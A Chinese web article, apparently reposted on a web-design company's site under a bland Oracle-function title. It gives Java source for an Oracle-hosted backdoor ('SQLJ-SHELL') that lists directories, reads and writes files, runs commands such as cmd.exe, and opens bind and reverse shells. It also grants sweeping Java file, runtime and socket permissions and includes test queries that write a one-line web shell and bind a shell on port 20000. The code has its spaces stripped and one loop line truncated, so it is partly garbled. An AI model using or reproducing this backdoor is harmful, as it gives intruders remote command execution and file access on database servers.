事例解析Oracle函数

在向大家详细介绍Oracle函数之前,首先让大家了解下Oracle数据库建立JAVA对象,然后全面介绍Oracle函数,希望对大家有用。首先在Oracle数据库建立JAVA对象, 这个版本的SQLJ-SHELL 只能支持正向连接,反向连接的时候有BUG 不建议使用,不知道是ORA支持JAVA的问题还是个人能力有限:

 
 
 
  1. createorreplaceandcompilejavasourcenamedistoas
  2. importjava.io.*;
  3. importjava.net.*;
  4. publicclassISTO{
  5. //author:kj021320
  6. //team:I.S.T.O
  7. publicstaticStringlistFolder(Stringpath){
  8. Filef=null;
  9. Stringstr="";
  10. f=newFile(path);
  11. String[]ffiles=f.list();
  12. if(files!=null)
  13. for(inti=0;i;i++){
  14. str+=files[i]+"\r\n";
  15. }
  16. returnstr;
  17. }
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){
  19. FileOutputStreamfos=null;
  20. try{
  21. fos=newFileOutputStream(filepath);
  22. fos.write(value.getBytes());
  23. return"OK";
  24. }catch(Exceptione){
  25. returne.getMessage();
  26. }finally{
  27. if(fos!=null){
  28. try{fos.close();}catch(Exceptione){}
  29. }
  30. }
  31. }
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){
  33. BufferedReaderbr=null;
  34. Stringvalue="";
  35. try{
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));
  37. Strings=null;
  38. while((s=br.readLine())!=null){
  39. value+=s;
  40. }
  41. returnvalue;
  42. }catch(Exceptione){
  43. returne.getMessage();
  44. }finally{
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}
  46. }
  47. }
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){
  49. inti=0;
  50. RuntimeRuntimert=Runtime.getRuntime();
  51. Stringoutput="";
  52. InputStreamReaderisr=null;
  53. char[]bufferC=newchar[1024];
  54. try{
  55. Processps=rt.exec(filepath);
  56. isr=newInputStreamReader(ps.getInputStream(),code);
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){
  58. output+=newString(bufferC,0,i);
  59. }
  60. returnoutput;
  61. }catch(Exceptione){
  62. returne.getMessage();
  63. }finally{
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}
  65. }
  66. }
  67. publicstaticStringbindShell(intport){
  68. ServerSocketss=null;
  69. Sockets=null;
  70. try{
  71. ss=newServerSocket(port);
  72. s=ss.accept();
  73. newoptShell(ss,s).start();
  74. return"OK";
  75. }catch(Exceptione){
  76. returne.getMessage();
  77. }
  78. }
  79. publicstaticStringreverseShell(Stringhost,intport){
  80. Sockets=null;
  81. try{
  82. s=newSocket(host,port);
  83. newoptShell(null,s).start();
  84. return"OK";
  85. }catch(Exceptione){
  86. returne.getMessage();
  87. }
  88. }
  89. publicstaticclassoptShellextendsThread{
  90. OutputStreamos=null;
  91. InputStreamis=null;
  92. ServerSocketss;
  93. Sockets;
  94. publicoptShell(ServerSocketss,Sockets){
  95. this.ss=ss;
  96. this.s=s;
  97. try{
  98. this.is=s.getInputStream();
  99. this.os=s.getOutputStream();
  100. }catch(Exceptione){
  101. if(os!=null)try{os.close();}catch(Exceptionex){}
  102. if(is!=null)try{is.close();}catch(Exceptionex){}
  103. if(s!=null)try{s.close();}catch(Exceptionex){}
  104. if(ss!=null)try{ss.close();}catch(Exceptionex){}
  105. }
  106. }
  107. publicvoidrun(){
  108. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));
  109. Stringline="";
  110. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";
  111. try{
  112. //os.write(cmdhelp.getBytes());
  113. line=br.readLine();
  114. while(!"exit".equals(line)){
  115. if(line.length()>3){
  116. StringBuffersb=newStringBuffer(line.trim());
  117. Stringcmd=sb.substring(0,4);
  118. if(cmd.equals("list")){
  119. os.write("inputyoupath:\r\n".getBytes());
  120. line=br.readLine();
  121. os.write(listFolder(line).getBytes());
  122. }elseif("save".equals(cmd)){
  123. os.write("inputyoufilepath:\r\n".getBytes());
  124. line=br.readLine();
  125. os.write("inputyouvalue:\r\n".getBytes());
  126. os.write(saveFile(line,br.readLine()).getBytes());
  127. }elseif("read".equals(cmd)){
  128. os.write("inputyoufilepath:\r\n".getBytes());
  129. line=br.readLine();
  130. os.write("inputyoucodeexamle:GBK\r\n".getBytes());
  131. os.write(readFile(line,br.readLine()).getBytes());
  132. }elseif("exec".equals(cmd)){
  133. os.write("inputyourunfilepath:\r\n".getBytes());
  134. line=br.readLine();
  135. os.write("inputyoucodeexamle:GBK\r\n".getBytes());
  136. os.write(execFile(line,br.readLine()).getBytes());
  137. }else{
  138. os.write(cmdhelp.getBytes());
  139. }
  140. }else{
  141. os.write(cmdhelp.getBytes());
  142. }
  143. line=br.readLine();
  144. }
  145. }catch(Exceptione){
  146. e.printStackTrace();
  147. }finally{
  148. if(os!=null)try{os.close();}catch(Exceptione){}
  149. if(is!=null)try{is.close();}catch(Exceptione){}
  150. if(s!=null)try{s.close();}catch(Exceptione){}
  151. if(ss!=null)try{ss.close();}catch(Exceptione){}
  152. }
  153. }
  154. }
  155. }

以上建立完成之后 需要用Oracle函数调用JAVA的静态方法:
◆列举目录函数
◆保存文件函数
◆读文件函数
◆运行文件函数
◆端口绑定 你可以telnet进去

以上Oracle函数转换操作之后 需要给JAVA授予访问权限

 
 
 
  1. begin
  2. Dbms_Java.Grant_Permission('用户名字','java.io.FilePermission','< FILES>>','read,write,execute,delete');
  3. Dbms_Java.Grant_Permission('用户名字','java.lang.RuntimePermission','*','writeFileDescriptor');
  4. Dbms_Java.grant_permission('用户名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
  5. end;

然后就可以进行文件操作以及 运行程序  开启网络!

以下为测试代码:

 
 
 
  1. SELECT ISTO_LISTFOLDER('/usr') FROM DUAL
  2. SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;
  3. SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;
  4. SELECT ISTO_SAVEFILE('/tmp/1.txt','一句话shell') FROM DUAL;
  5. SELECT ISTO_BINDSHELL(20000) FROM DUAL

分享题目:事例解析Oracle函数
路径分享:http://www.shufengxianlan.com/qtweb/news49/464999.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联